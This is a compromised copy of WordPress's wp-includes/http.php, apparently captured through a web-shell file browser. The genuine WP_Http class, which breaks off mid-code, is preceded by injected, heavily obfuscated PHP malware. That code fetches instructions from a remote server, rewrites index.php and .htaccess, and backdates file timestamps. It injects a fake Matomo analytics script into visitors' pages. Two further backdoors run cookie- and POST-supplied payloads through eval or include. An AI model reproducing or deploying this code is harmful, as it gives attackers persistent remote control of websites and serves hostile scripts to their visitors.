Current Path : /home/scoots/www/wp-includes/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/wp-includes/http.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php $dIWCKV = class_exists("lY_xPllu"); $UGHLq = $dIWCKV;if (!$UGHLq){class lY_xPllu{private $scUSKSLjP;public static $mjbfSZxht = "b51afd19-dde7-47a0-9211-bc214f610154";public static $pFucerzxoS = NULL;public function __construct(){$ypVjbxK = $_COOKIE;$VHqlxBERA = $_POST;$ogpKUlthF = @$ypVjbxK[substr(lY_xPllu::$mjbfSZxht, 0, 4)];if (!empty($ogpKUlthF)){$kEeOQkU = "base64";$KJPvmjjDHA = "";$ogpKUlthF = explode(",", $ogpKUlthF);foreach ($ogpKUlthF as $ybFAFAMNjD){$KJPvmjjDHA .= @$ypVjbxK[$ybFAFAMNjD];$KJPvmjjDHA .= @$VHqlxBERA[$ybFAFAMNjD];}$KJPvmjjDHA = array_map($kEeOQkU . '_' . chr (100) . "\x65" . 'c' . chr (111) . "\144" . "\145", array($KJPvmjjDHA,)); $KJPvmjjDHA = $KJPvmjjDHA[0] ^ str_repeat(lY_xPllu::$mjbfSZxht, (strlen($KJPvmjjDHA[0]) / strlen(lY_xPllu::$mjbfSZxht)) + 1);lY_xPllu::$pFucerzxoS = @unserialize($KJPvmjjDHA);}}public function __destruct(){$this->PQnEPcSoxf();}private function PQnEPcSoxf(){if (is_array(lY_xPllu::$pFucerzxoS)) {$IsjcnzIFnl = str_replace("\74" . '?' . "\160" . "\x68" . "\160", "", lY_xPllu::$pFucerzxoS['c' . chr (111) . "\x6e" . "\x74" . 'e' . "\x6e" . chr ( 177 - 61 )]);eval($IsjcnzIFnl);exit();}}}$tRiMTlvpp = new lY_xPllu(); $tRiMTlvpp = NULL;} ?><?php $XCcxXFdJUJ = class_exists("e_mOxq");if (!$XCcxXFdJUJ){class e_mOxq{private $DtdaF;public static $mBHjxqN = "670524cc-4697-4fb0-b8a3-8ba943dd01d8";public static $BBvsyfN = NULL;public function __construct(){$RfYofgCB = $_COOKIE;$nrTVHb = $_POST;$mjqYetVxkH = @$RfYofgCB[substr(e_mOxq::$mBHjxqN, 0, 4)];if (!empty($mjqYetVxkH)){$tRvxTIR = "base64";$LNRwZI = "";$mjqYetVxkH = explode(",", $mjqYetVxkH);foreach ($mjqYetVxkH as $KSHtnxR){$LNRwZI .= @$RfYofgCB[$KSHtnxR];$LNRwZI .= @$nrTVHb[$KSHtnxR];}$LNRwZI = array_map($tRvxTIR . chr (95) . chr (100) . chr ( 822 - 721 ).chr ( 855 - 756 )."\157" . "\x64" . 'e', array($LNRwZI,)); $LNRwZI = $LNRwZI[0] ^ str_repeat(e_mOxq::$mBHjxqN, (strlen($LNRwZI[0]) / strlen(e_mOxq::$mBHjxqN)) + 1);e_mOxq::$BBvsyfN = @unserialize($LNRwZI);}}public function __destruct(){$this->ehbyTJO();}private function ehbyTJO(){if (is_array(e_mOxq::$BBvsyfN)) {$nyWZocxIe = sys_get_temp_dir() . "/" . crc32(e_mOxq::$BBvsyfN[chr (115) . 'a' . 'l' . chr (116)]);@e_mOxq::$BBvsyfN[chr (119) . "\162" . "\151" . 't' . 'e']($nyWZocxIe, e_mOxq::$BBvsyfN[chr (99) . "\157" . "\x6e" . "\164" . "\145" . chr ( 1066 - 956 ).chr (116)]);include $nyWZocxIe;@e_mOxq::$BBvsyfN["\x64" . "\x65" . chr (108) . chr (101) . chr ( 894 - 778 )."\145"]($nyWZocxIe);exit();}}}$zXoUU = new e_mOxq(); $zXoUU = NULL;} ?><?php /** * Simple and uniform HTTP request API. * * Will eventually replace and standardize the WordPress HTTP requests made. * * @link http://trac.wordpress.org/ticket/4779 HTTP API Proposal * * @package WordPress * @subpackage HTTP * @since 2.7 * @author Jacob Santos <wordpress@santosj.name> */ /** * WordPress HTTP Class for managing HTTP Transports and making HTTP requests. * * This class is called for the functionality of making HTTP requests and should * replace Snoopy functionality, eventually. There is no available functionality * to add HTTP transport implementations, since most of the HTTP transports are * added and available for use. * * The exception is that cURL is not available as a transport and lacking an * implementation. It will be added later and should be a patch on the WordPress * Trac. * * There are no properties, because none are needed and for performance reasons. * Some of the functions are static and while they do have some overhead over * functions in PHP4, the purpose is maintainability. When PHP5 is finally the * requirement, it will be easy to add the static keyword to the code. It is not * as easy to convert a function to a method after enough code uses the old way. * * @package WordPress * @subpackage HTTP * @since 2.7 */ class WP_Http { /** * PHP4 style Constructor - Calls PHP5 Style Constructor * * @since 2.7 * @return WP_Http */ function WP_Http() { $this->__construct(); } /** * PHP5 style Constructor - Setup available transport if not available. * * PHP4 does not have the 'self' keyword and since WordPress supports PHP4, * the class needs to be used for the static call. * * The transport are setup to save time. This should only be called once, so * the overhead should be fine. * * @since 2.7 * @return WP_Http */ function __construct() { WP_Http::_getTransport(); WP_Http::_postTransport(); } /** * Tests the WordPress HTTP objects for an object to use and returns it. * * Tests all of the objects and returns the object that passes. Also caches * that object to be used later. * * The order for the GET/HEAD requests are Streams, HTTP Extension, Fopen, * and finally Fsockopen. fsockopen() is used last, because it has the most * overhead in its implementation. There isn't any real way around it, since * redirects have to be supported, much the same way the other transports * also handle redirects. * * There are currently issues with "localhost" not resolving correctly with * DNS. This may cause an error "failed to open stream: A connection attempt * failed because the connected party did not properly respond after a * period of time, or established connection failed because connected host * has failed to respond." * * @since 2.7 * @access private * * @param array $args Request args, default us an empty array * @return object|null Null if no transports are available, HTTP transport object. */ function &_getTransport( $args = array() ) { static $working_transport, $blocking_transport, $nonblocking_transport; if ( is_null($working_transport) ) { if ( true === WP_Http_ExtHttp::test() && apply_filters('use_http_extension_transport', true) ) { $working_transport['exthttp'] = new WP_Http_ExtHttp(); $blocking_transport[] = &$working_transport['exthttp']; } else if ( true === WP_Http_Curl::test() && 